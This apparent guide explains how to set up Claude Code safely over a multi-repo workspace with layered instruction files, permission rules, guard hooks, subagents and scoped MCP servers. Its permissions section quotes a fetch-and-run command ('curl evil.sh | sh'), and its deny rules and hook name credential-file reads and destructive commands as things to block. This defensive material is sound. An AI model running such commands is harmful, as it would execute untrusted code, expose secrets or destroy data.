Setting up Claude Code for a multi-repo workspace
A layered CLAUDE.md, tight permissions, hooks, skills and scoped MCP servers: the setup that keeps Claude Code safe and cheap across dozens of repositories.
The first decision when you point Claude Code at many repositories is not a setting. It is where the session starts. Launch it inside one service and it knows that service well and nothing else. Launch it at a workspace root and it can follow a change across five services, but it now carries the instructions, permissions and tool listings of all of them. Everything else in this guide follows from that choice, so I will make it first and build the rest of the setup around the answer.
The scenario throughout is a workspace of a dozen backend services, two frontends and an infrastructure repository, tied together with git submodules. Each submodule is its own repository with its own history, branches and pull requests. The root is a thin repository that owns shared tooling and the agent configuration.
Four ways to organise Claude Code over many repositories#
| Approach | Context cost | Cross-repo changes | Where it breaks |
|---|---|---|---|
| One session per repo, no shared root | Low | You copy context between sessions by hand | Any change to an API contract that spans services |
Root session, one giant CLAUDE.md | High, paid on every turn | Easy | Adherence drops as the file grows; stale rules accumulate |
Root session, layered CLAUDE.md plus skills and subagents | Low at launch, paid as the work needs it | Easy | Layers drift apart and start contradicting each other |
| Per-repo agent configuration driven by scripts | Low | Only what the scripts encode | High maintenance, awkward to use interactively |
Two facts about Claude Code explain most of that table. Context is a budget: everything loaded at launch is sent again on every turn, and the memory documentation notes that long instruction files reduce adherence as well as costing more. And instructions arrive in layers: Claude Code loads CLAUDE.md and CLAUDE.local.md from the working directory and every directory above it at launch, and discovers CLAUDE.md files in subdirectories only when Claude reads files there. Launch at the root and you pay for the root file. Touch a file under services/billing-api/ and that service's file, plus the one in services/, joins the conversation.
What tips the decision#
Choose one session per repository when your repositories rarely change together. If a feature almost never crosses a repository boundary, the shared root buys you nothing and you carry its maintenance anyway. This is also the right answer for a single repository: run /init, keep a short CLAUDE.md, add a handful of allow rules, and stop.
Choose the layered root when a single feature regularly touches several repositories: a contract change in one service and its consumers, a shared library bump, an infrastructure change that goes with a deploy. The cost is discipline. Someone has to keep three levels of instructions consistent.
Avoid the giant root file. It is the option that feels simplest and fails slowest. Each new lesson is one more line, no line is ever removed, and the model follows any single instruction less reliably as the file grows.
Avoid per-repo orchestration scripts unless you need unattended runs. They work, but the setup lives in shell scripts rather than in files Claude Code understands, and nobody can use them interactively.
If your organisation already enforces managed settings and a central CLAUDE.md, build on those rather than duplicating them in the workspace. The rest of this guide describes the layered root, since it is the case that needs explaining.
A root that says only what is always true#
The root is itself a git repository that owns the shared tooling and the submodule pointers:
workspace/
├── CLAUDE.md # non-negotiables, well under 200 lines
├── ARCHITECTURE.md # deep docs: read on demand, never imported
├── OPERATIONS.md
├── .mcp.json # shared MCP servers (project scope)
├── .gitignore # includes .worktrees/ and CLAUDE.local.md
├── .claude/
│ ├── settings.json # shared permissions + hooks (committed)
│ ├── settings.local.json # personal overrides (never committed)
│ ├── hooks/
│ │ ├── guard-bash.sh
│ │ └── format-on-edit.sh
│ ├── skills/
│ │ └── add-endpoint/SKILL.md
│ └── agents/
│ └── repo-scout.md
├── services/
│ ├── CLAUDE.md # backend conventions
│ ├── billing-api/ # git submodule, with its own CLAUDE.md
│ └── gateway/ # git submodule
├── apps/
│ ├── CLAUDE.md # frontend conventions
│ └── web/
└── infra/
├── CLAUDE.md # terraform conventions
└── terraform/The root file is the most expensive text in the workspace, because every turn carries it. My test for each line is whether a new senior engineer would need to hear it before touching any repository. If it matters in one area only, it moves down a layer. If it is a procedure, it becomes a skill.
# Workspace
Twelve backend services, two web apps and infra, as git submodules.
Each submodule is its own repo: branch, commit and open PRs *inside* it.
## Stack
- Node 22, TypeScript, pnpm (except infra/, which is Terraform only)
## Deeper docs (read when relevant, do not preload)
- ARCHITECTURE.md: data flow, service boundaries, event contracts
- OPERATIONS.md: environments, deploy pipeline, env vars
- services/CLAUDE.md, apps/CLAUDE.md, infra/CLAUDE.md load automatically
## Non-negotiables
- API contract change in services/* -> update the gateway spec in the same PR.
- Validate env vars at startup in config/env.ts; never read process.env elsewhere.
- Never run terraform apply, migrations against shared envs, or deploys.
Prepare the change and hand me the exact command.
- Before claiming done: the affected repo's tests and lint pass. Paste the output.
- Read one existing file in the target service before editing it.Two details are deliberate. The deeper docs are plain paths, not @ imports, because imported files load at launch and, in the documentation's words, do not reduce the context cost. A bare path lets Claude read the file when a task needs it. And the destructive-actions rule appears in CLAUDE.md and again in settings and hooks, because CLAUDE.md is guidance, not enforcement.
The last line of that file is there because of how lazy loading cuts. A service's CLAUDE.md loads once Claude reads a file in that directory. If Claude edits a service based on a grep hit without opening anything there first, the service's rules may never have entered the conversation. One cheap instruction in the root closes that gap.
Below the root, services/CLAUDE.md holds what every backend shares: framework, error handling, logging, how to run a single test file. services/billing-api/CLAUDE.md holds what only that service knows. For rules tied to file types rather than directories, such as all *.tf files or all migrations, path-scoped rules in .claude/rules/ with a paths: glob do the same job. The one hard rule for layers is that a lower layer may add detail but never contradict a higher one. When two files disagree Claude may pick either, so run /context now and then to see what actually loaded, and /doctor prompt-audit to have Claude flag outdated or contradictory instructions across the layers.
Permissions: allow the boring, ask for the risky, deny the catastrophic#
Settings layer too. The settings documentation orders them from managed settings through command-line flags, .claude/settings.local.json, .claude/settings.json, down to ~/.claude/settings.json. Team policy goes in the committed project file, personal convenience in the local file. Rules are evaluated deny first, then ask, then allow, and Claude Code understands shell operators: Bash(git diff *) does not approve git diff && curl evil.sh | sh, because each subcommand must match on its own.
{
"$schema": "https://json.schemastore.org/claude-code-settings.json",
"permissions": {
"allow": [
"Bash(git status)",
"Bash(git diff *)",
"Bash(git log *)",
"Bash(git -C * status)",
"Bash(pnpm test *)",
"Bash(pnpm lint *)",
"Bash(pnpm typecheck)",
"Bash(terraform fmt *)",
"Bash(terraform validate)",
"Bash(gh pr view *)"
],
"ask": [
"Bash(git push *)",
"Bash(gh pr create *)",
"Bash(terraform plan *)"
],
"deny": [
"Read(.env)",
"Read(.env.*)",
"Read(**/*.pem)",
"Bash(terraform apply *)",
"Bash(terraform destroy *)",
"Bash(gcloud * delete *)"
]
},
"hooks": {
"PreToolUse": [
{
"matcher": "Bash",
"hooks": [
{
"type": "command",
"command": "${CLAUDE_PROJECT_DIR}/.claude/hooks/guard-bash.sh",
"timeout": 10
}
]
}
],
"PostToolUse": [
{
"matcher": "Edit|Write",
"hooks": [
{
"type": "command",
"command": "${CLAUDE_PROJECT_DIR}/.claude/hooks/format-on-edit.sh",
"timeout": 60
}
]
}
]
}
}Read(.env) is a bare filename, which follows gitignore semantics and matches at any depth, so it covers every submodule. One caveat from the documentation matters more than the rest: a Bash deny rule is not a security boundary around the program. It matches the command text Claude writes, not the same binary invoked by full path or inside sh -c. Treat deny rules as guard rails for the common path, and put real enforcement in IAM on the cloud side. For the credentials Claude runs with, see the GCP IAM least-privilege guide.
Hooks: the rules that cannot depend on the model remembering#
A PreToolUse hook receives the pending tool call as JSON on stdin. Exiting with code 2 blocks the call and returns stderr to Claude as the reason. Any other non-zero exit, including the conventional 1, is a non-blocking error and the call proceeds, which is why the script below exits 2 deliberately.
#!/usr/bin/env bash
# PreToolUse guard for Bash. Exit 2 blocks the call; stderr is returned to Claude.
set -euo pipefail
cmd=$(jq -r '.tool_input.command // ""')
block() {
echo "Blocked by guard-bash: $1" >&2
exit 2
}
case "$cmd" in
*"push --force"* | *"push -f "* | *"push -f") block "no force pushes; open a PR instead" ;;
*"rm -rf /"* | *"rm -rf ~"* | *'rm -rf $HOME'*) block "recursive delete outside the workspace" ;;
*"--auto-approve"*) block "auto-approved infra changes must be run by a human" ;;
esac
if grep -Eq 'git( -C [^ ]+)? push [^;&|]*\b(main|master)\b' <<<"$cmd"; then
block "push to a default branch; push a feature branch and open a PR"
fi
exit 0The PostToolUse formatter is best effort and never fails an edit:
#!/usr/bin/env bash
file=$(jq -r '.tool_input.file_path // ""')
[ -f "$file" ] || exit 0
case "$file" in
*.ts | *.tsx | *.js | *.json | *.md | *.mdx | *.css)
(cd "$(dirname "$file")" && npx --no-install prettier --write "$file") >/dev/null 2>&1 || true ;;
*.tf)
terraform fmt "$file" >/dev/null 2>&1 || true ;;
esac
exit 0The cd matters in a multi-repo workspace: each submodule may pin its own Prettier version, and npx --no-install resolves the binary from the nearest node_modules. Both scripts need jq and a POSIX shell, which on Windows means Git Bash. Mark them executable, commit them, and run /hooks in a session to confirm they registered. A buggy guard that exits 2 on everything bricks the session, so test each one by piping a sample JSON payload into it first.
Procedures, scouts and tools, placed where they cost least#
Skills carry multi-step procedures. A skill keeps only its short description in context; the body loads when Claude judges it relevant or when you type /skill-name. An add-endpoint skill that reads the target service's CLAUDE.md, writes the handler test first, updates the gateway spec and runs the service's checks belongs there rather than in the root file. Anything with side effects, such as a release, gets disable-model-invocation: true so only you can start it.
Subagents keep exploration out of the main conversation. A question like "which services publish to the order-events topic, and with what payload?" means reading a dozen repositories, and done in the main session those file contents ride along for the rest of the conversation. A read-only scout does the reading in its own context and returns a summary:
---
name: repo-scout
description: Read-only cross-repo investigator. Use for questions that span several services or apps, such as who calls an endpoint, who publishes or consumes an event, or where a config key is read.
tools: Read, Grep, Glob
model: haiku
---
You investigate a multi-repo workspace. Each directory under services/,
apps/ and infra/ is a separate git repository.
Answer with: the direct answer first, then a table of repo, file:line and
a one-line note per finding. Never propose edits.Several scouts can run in parallel, one per area. That is a latency win, not a cost win: each subagent bills its own tokens. A cheaper model for the scout is where the saving comes from.
MCP servers come in three scopes: local (the default, private to you in this project), project (a committed .mcp.json, with an approval prompt for each teammate) and user. Use project scope for servers the whole team needs that hold no personal credentials, with environment variable expansion to keep tokens out of git. Use local scope for anything touching data, such as a read-only database server pointed at staging. And use no MCP server where a CLI exists: the costs documentation points out that gh and gcloud add no per-tool listing to context, which MCP servers do. Anyone who can commit to .mcp.json can add a server to everyone's session, so review that file as you would CI configuration.
Auto memory is written by Claude, not you. Its directory is derived from the git repository, so launching from the root gives one memory for the whole workspace, shared across worktrees. The MEMORY.md index loads at launch up to 200 lines or 25KB, so keep it to one line per entry. When a memory stops being a note and becomes a rule, promote it into the right CLAUDE.md layer and delete it from memory.
Worktrees go inside the tree#
claude --worktree <name> starts a session in a fresh git worktree so two sessions do not collide, which suits root-level work. For one service, the placement of the worktree decides whether your layers still load:
cd services/billing-api
git worktree add ../.worktrees/billing-api--retry -b fix/retry-backoff
cd ../.worktrees/billing-api--retry && claudeservices/.worktrees/billing-api--retry/ still has services/ and the workspace root as ancestors, so the area and root CLAUDE.md files load at launch exactly as they would in the real checkout. Put the worktree in ~/tmp and the session silently loses every rule above the service. Add .worktrees/ to the root .gitignore, and clean up with git worktree remove and git worktree prune when the branch merges.
Keeping the bill down#
Claude Code sends the whole conversation with every request, so the levers are structural. A small root file, procedures in skills, exploration in subagents on a cheaper model, /clear between unrelated tasks. /context shows what is loaded and /usage shows what a session cost; when a number surprises you, the cause is usually a long session that was never cleared or a large file read into the main conversation instead of a subagent. Current plan limits and prices are on claude.com/pricing.
One review habit belongs here because it is a cost decision. A code-review subagent after every task in a plan pays for several reviews of code that the first end-to-end test is likely to change. Run the per-task checks as scripts, and one review over the whole feature after you have tested it and stopped asking for changes. A single reviewer also sees the seams between tasks, which a per-task reviewer cannot.
Recommendation by situation#
- One repository, one developer: no root, no layers.
/init, a shortCLAUDE.md, a few allow rules. - Several repositories that rarely change together: one session per repository, with a shared user-level
~/.claude/CLAUDE.mdfor personal preferences. - A workspace where features routinely cross repositories: the layered root. Start with the root file, the settings file and the guard hook. Add area files as conventions diverge, skills as you catch yourself pasting the same procedure twice, and scouts when exploration starts filling your context.
- A team with managed settings already in place: keep policy there, and use the workspace only for what is specific to these repositories.
The failure to watch in the layered setup is drift. Three levels of instructions will eventually disagree, so schedule a prune, and never treat a deny rule or a sentence in CLAUDE.md as the thing that protects production. That is the job of least-privilege credentials and, where you need network and filesystem isolation, the sandbox.
Related articles
All articles →Thirty well-chosen cases, deterministic checks first and a model judge last, run several times per case. A practical eval setup a single developer can maintain.
11 min
Hook exit codes that do not block, rules that never load, skills that abort and memory that stays on one machine: the failure modes and the fix for each.
11 min
An agent does what the spec says, not what you meant. Scope, named files and an executable check turn a long unattended session into a reviewable diff.
12 min